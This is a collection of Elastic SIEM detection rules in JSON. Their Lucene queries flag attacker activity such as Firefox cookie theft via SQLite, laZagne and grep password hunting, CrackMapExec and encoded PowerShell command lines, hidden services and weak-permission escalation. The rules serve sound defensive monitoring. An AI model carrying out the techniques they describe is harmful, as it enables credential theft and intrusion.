{"description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e3a0feb-8d7f-819b-8367-99363573ea7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SQLite Firefox Cookie DB Access", "query": "(((Product:\"SQLite\") OR (process.executable.text:(*\\\\sqlite.exe OR *\\\\sqlite3.exe))) AND process.command_line.text:*cookies.sqlite*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1539"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1539", "name": "Steal Web Session Cookie", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "enabled": false, "false_positives": ["Applications could use this notation occasionally which might generate some false positives. In that case investigate the parent and child process."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5640d589-c802-4b3c-592a-0884ea8fdb0f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use Short Name Path in Command Line", "query": "(process.command_line.text:(*\\~1\\\\* OR *\\~2\\\\*) AND (NOT (process.parent.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\Dism.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\cleanmgr.exe\" OR \"C\\:\\\\Program\\ Files\\\\GPSoftware\\\\Directory\\ Opus\\\\dopus.exe\") OR process.parent.executable.text:(*\\\\WebEx\\\\WebexHost.exe OR *\\\\thor\\\\thor64.exe OR *\\\\veam.backup.shell.exe OR *\\\\winget.exe OR *\\\\Everything\\\\Everything.exe) OR process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\WinGet\\\\* OR process.command_line.text:(*\\\\appdata\\\\local\\\\webex\\\\webex64\\\\meetings\\\\wbxreport.exe* OR *C\\:\\\\Program\\ Files\\\\Git\\\\post\\-install.bat* OR *C\\:\\\\Program\\ Files\\\\Git\\\\cmd\\\\scalar.exe*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "(v=technet.10)?redirectedfrom=MSDN", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "enabled": false, "false_positives": ["Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ebae6656-ad22-cd7d-7bee-7bb89066f054", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use NTFS Short Name in Command Line", "query": "process.command_line.text:(*\\~1.* OR *\\~2.*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "(v=technet.10)?redirectedfrom=MSDN"], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", "enabled": false, "false_positives": ["Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ebae6656-ad22-cd7d-7bee-7bb89066f054", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use NTFS Short Name in Command Line", "query": "(process.command_line.text:(*\\~1.exe* OR *\\~1.bat* OR *\\~1.msi* OR *\\~1.vbe* OR *\\~1.vbs* OR *\\~1.dll* OR *\\~1.ps1* OR *\\~1.js* OR *\\~1.hta* OR *\\~2.exe* OR *\\~2.bat* OR *\\~2.msi* OR *\\~2.vbe* OR *\\~2.vbs* OR *\\~2.dll* OR *\\~2.ps1* OR *\\~2.js* OR *\\~2.hta*) AND (NOT (process.parent.executable.text:(*\\\\WebEx\\\\WebexHost.exe OR *\\\\thor\\\\thor64.exe) OR process.command_line.text:*C\\:\\\\xampp\\\\vcredist\\\\VCREDI\\~1.EXE*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "(v=technet.10)?redirectedfrom=MSDN", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e30a546-aff5-b7e6-f660-c1f487aff1a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Use NTFS Short Name in Image", "query": "(process.executable.text:(*\\~1.exe* OR *\\~1.bat* OR *\\~1.msi* OR *\\~1.vbe* OR *\\~1.vbs* OR *\\~1.dll* OR *\\~1.ps1* OR *\\~1.js* OR *\\~1.hta* OR *\\~2.exe* OR *\\~2.bat* OR *\\~2.msi* OR *\\~2.vbe* OR *\\~2.vbs* OR *\\~2.dll* OR *\\~2.ps1* OR *\\~2.js* OR *\\~2.hta*) AND (NOT (process.parent.executable.text:(*\\\\WebEx\\\\WebexHost.exe OR *\\\\thor\\\\thor64.exe OR *\\-installer.exe) OR process.executable.text:*\\\\vcredi*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "(v=technet.10)?redirectedfrom=MSDN", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection", "enabled": false, "false_positives": ["Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "50ac5a77-59ea-901e-ce00-f97506721bae", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Use Short Name Path in Image", "query": "(process.executable.text:(*\\~1\\\\* OR *\\~2\\\\*) AND (NOT ((process.parent.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\Dism.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\cleanmgr.exe\") OR process.parent.executable.text:(*\\\\WebEx\\\\WebexHost.exe OR *\\\\thor\\\\thor64.exe) OR Product:\"InstallShield\\ \$R\$\" OR winlog.event_data.Description:\"InstallShield\\ \$R\$\\ Setup\\ Engine\" OR Company:\"InstallShield\\ Software\\ Corporation\") OR (process.executable.text:*\\\\AppData\\\\* AND process.executable.text:*\\\\Temp\\\\* OR process.executable.text:(*\\~1\\\\unzip.exe OR *\\~1\\\\7zG.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", "(v=technet.10)?redirectedfrom=MSDN", ""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detect use of TruffleSnout.exe", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c0728679-223d-a96f-fe13-71d72a75ad5f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Launch TruffleSnout Executable", "query": "(winlog.event_data.OriginalFileName:\"TruffleSnout.exe\" OR process.executable.text:*\\\\TruffleSnout.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of WebBrowserPassView.exe", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40c041d4-a858-92eb-fdf2-1278843f2e98", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Launch WebBrowserPassView Executable", "query": "(winlog.event_data.Description:\"Web\\ Browser\\ Password\\ Viewer\" OR process.executable.text:*\\\\WebBrowserPassView.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detect use of X509Enrollment", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "214089d4-7b4f-3594-7021-b89cc9eac22a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious X509Enrollment - Ps Script", "query": "powershell.file.script_block_text:(*X509Enrollment.CBinaryConverter* OR *884e2002\\-217d\\-11da\\-b2a4\\-000e7bbb2b09*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect use of X509Enrollment", "author": ["frack113"], "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8978b644-3a9b-cfc5-08ed-b3621527fcef", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious X509Enrollment - Process Creation", "query": "process.command_line.text:(*X509Enrollment.CBinaryConverter* OR *884e2002\\-217d\\-11da\\-b2a4\\-000e7bbb2b09*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detect various execution methods of the CrackMapExec pentesting framework", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0035f379-9b65-31c1-c596-89c4e0f96609", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CrackMapExec Command Execution", "query": "(process.command_line:(*cmd.exe\\ \\/Q\\ \\/c\\ *\\ 1>\\ \\\\\\\\*\\\\*\\\\*\\ 2>&1 OR *cmd.exe\\ \\/C\\ *\\ >\\ \\\\\\\\*\\\\*\\\\*\\ 2>&1 OR *cmd.exe\\ \\/C\\ *\\ >\\ *\\\\Temp\\\\*\\ 2>&1) AND process.command_line:(*powershell.exe\\ \\-exec\\ bypass\\ \\-noni\\ \\-nop\\ \\-w\\ 1\\ \\-C\\ \\\"* OR *powershell.exe\\ \\-noni\\ \\-nop\\ \\-w\\ 1\\ \\-enc\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1053", "T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys", "enabled": false, "false_positives": ["Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "246e8117-a03a-ece7-1f36-8e7294f4802c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious VBoxDrvInst.exe Parameters", "query": "(process.executable:*\\\\VBoxDrvInst.exe AND process.command_line:*driver* AND process.command_line:*executeinf*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Konstantin Grishchenko", "oscd.community"], "license": ""}
{"description": "Detect when a Cloud SQL DB has been modified or deleted.", "enabled": false, "false_positives": ["SQL Database being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "10205b1e-a595-daf3-dcdc-0b2545677bfa", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud SQL Database Modified or Deleted", "query": "gcp.audit.method_name:(\"cloudsql.instances.create\" OR \"cloudsql.instances.delete\" OR \"cloudsql.users.update\" OR \"cloudsql.users.delete\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detect when authentications to important application(s) only required single-factor authentication", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b76b5ef4-5e1b-d6a0-7ff6-f696655284b3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Authentications To Important Apps Using Single Factor Authentication", "query": "(winlog.event_data.Status:\"Success\" AND AppId:\"Insert\\ Application\\ ID\\ use\\ OR\\ for\\ multiple\" AND AuthenticationRequirement:\"singleFactorAuthentication\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["MikeDuddington", "'@dudders1'"], "license": ""}
{"description": "Detect when users are authenticating without MFA being required.", "enabled": false, "false_positives": ["If this was approved by System Administrator."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "07263ca4-3f2a-b5f6-09d9-df0fcd643562", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Azure AD Only Single Factor Authentication Required", "query": "(winlog.event_data.Status:\"Success\" AND AuthenticationRequirement:\"singleFactorAuthentication\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1078"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["MikeDuddington", "'@dudders1'"], "license": ""}
{"description": "Detectes application popup reporting a failure of the Sysmon service", "enabled": false, "false_positives": ["none"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "46ef6019-abf3-4420-f7e7-a51249624e66", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Crash", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Application\\ Popup\" AND winlog.event_id:\"26\" AND Caption:\"sysmon64.exe\\ \\-\\ Application\\ Error\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1562"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tim Shelton"], "license": ""}
{"description": "Detecting attempts to extract passwords with grep and laZagne", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e6c8d0ea-7b11-6689-55e1-b6ade83e8a5c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Credentials In Files", "query": "((process.executable:*\\/grep AND process.command_line:*password*) OR process.command_line:*laZagne*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Igor Fits", "Mikhail Larin", "oscd.community"], "license": ""}
{"description": "Detecting attempts to extract passwords with grep", "author": ["Igor Fits", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "937492d7-3fe5-aca6-a67e-349a75fee494", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Credentials In Files - Linux", "query": "(type:\"EXECVE\" AND \"grep\" AND \"password\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detecting DNS tunnel activity for Muddywater actor", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ff5ec53c-1812-07dc-5cc9-841e305018a4", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DNS Tunnel Technique from MuddyWater", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.parent.executable:*\\\\excel.exe AND process.command_line:*DataExchange.dll*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@caliskanfurkan_"], "license": ""}
{"description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c1c2e91-057a-87ae-c0af-fb933b683499", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Emotet RunDLL32 Process Creation", "query": "(((process.executable:*\\\\rundll32.exe AND process.command_line:(*,RunDLL OR *,Control_RunDLL)) AND (NOT (process.parent.executable:*\\\\tracker.exe))) AND (NOT (process.command_line:(*.dll,Control_RunDLL OR *.dll\\\",Control_RunDLL OR *.dll',Control_RunDLL))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["FPT.EagleEye"], "license": ""}
{"description": "Detecting use PsExec via Pipe Creation/Access to pipes", "enabled": false, "false_positives": ["Legitimate Administrator activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0fd9664-249f-34b4-dc57-e5d132665dc8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PsExec Pipes Artifacts", "query": "file.name:(psexec* OR paexec* OR remcom* OR csexec*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e0c36820-dacc-2f1d-174f-02f6c70de9a7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "MSHTA Suspicious Execution 01", "query": "(process.executable.text:*\\\\mshta.exe AND process.command_line.text:(*vbscript* OR *.jpg* OR *.png* OR *.lnk* OR *.xls* OR *.doc* OR *.zip* OR *.dll*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1140", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Diego Perez (@darkquassar)", "Markus Neis", "Swisscom (Improve Rule)"], "license": ""}
{"description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", "enabled": false, "false_positives": ["Authorized modification by administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "eaa7be8b-5361-e989-a1ad-9eaf05b8ba73", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disabled MFA to Bypass Authentication Mechanisms", "query": "(eventSource:\"AzureActiveDirectory\" AND eventName:\"Disable\\ Strong\\ Authentication.\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1556"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@ionsor"], "license": ""}
{"description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0411c474-7093-8649-a0c1-4880aa86ddcb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Child Process Created as System", "query": "((ParentUser:(\"NT\\ AUTHORITY\\\\NETWORK\\ SERVICE\" OR \"NT\\ AUTHORITY\\\\LOCAL\\ SERVICE\" OR \"AUTORITE\\ NT\\\\\") AND user.name:(\"NT\\ AUTHORITY\\\\SYSTEM\" OR \"AUTORITE\\ NT\\\\Sys\") AND IntegrityLevel:\"System\") AND (NOT (process.executable:*\\\\rundll32.exe AND process.command_line:*DavSetCookie*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "Roberto Rodriguez (@Cyb3rWard0g)", "Open Threat Research (OTR)"], "license": ""}
{"description": "Detection of logins performed with WMI", "enabled": false, "false_positives": ["Monitoring tools", "Legitimate system administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "600a1343-b82f-0831-3db1-acb2c720eee3", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Login with WMI", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.ProcessName:*\\\\WmiPrvSE.exe)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", "enabled": false, "false_positives": ["Intended use of hidden services"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "281d0854-1c13-8ca8-f7ba-58173a5873c3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Abuse of Service Permissions to Hide Services in Tools", "query": "((process.executable:*\\\\sc.exe OR winlog.event_data.OriginalFileName:\"sc.exe\") AND (process.command_line:*sdset* AND process.command_line:*DCLCWPDTSD*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "98c6a345-4698-5e9d-b052-0e66f0d08bbc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Possible Privilege Escalation via Weak Service Permissions", "query": "((process.executable:*\\\\sc.exe AND IntegrityLevel:\"Medium\") AND ((process.command_line:*config* AND process.command_line:*binPath*) OR (process.command_line:*failure* AND process.command_line:*command*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov"], "license": ""}
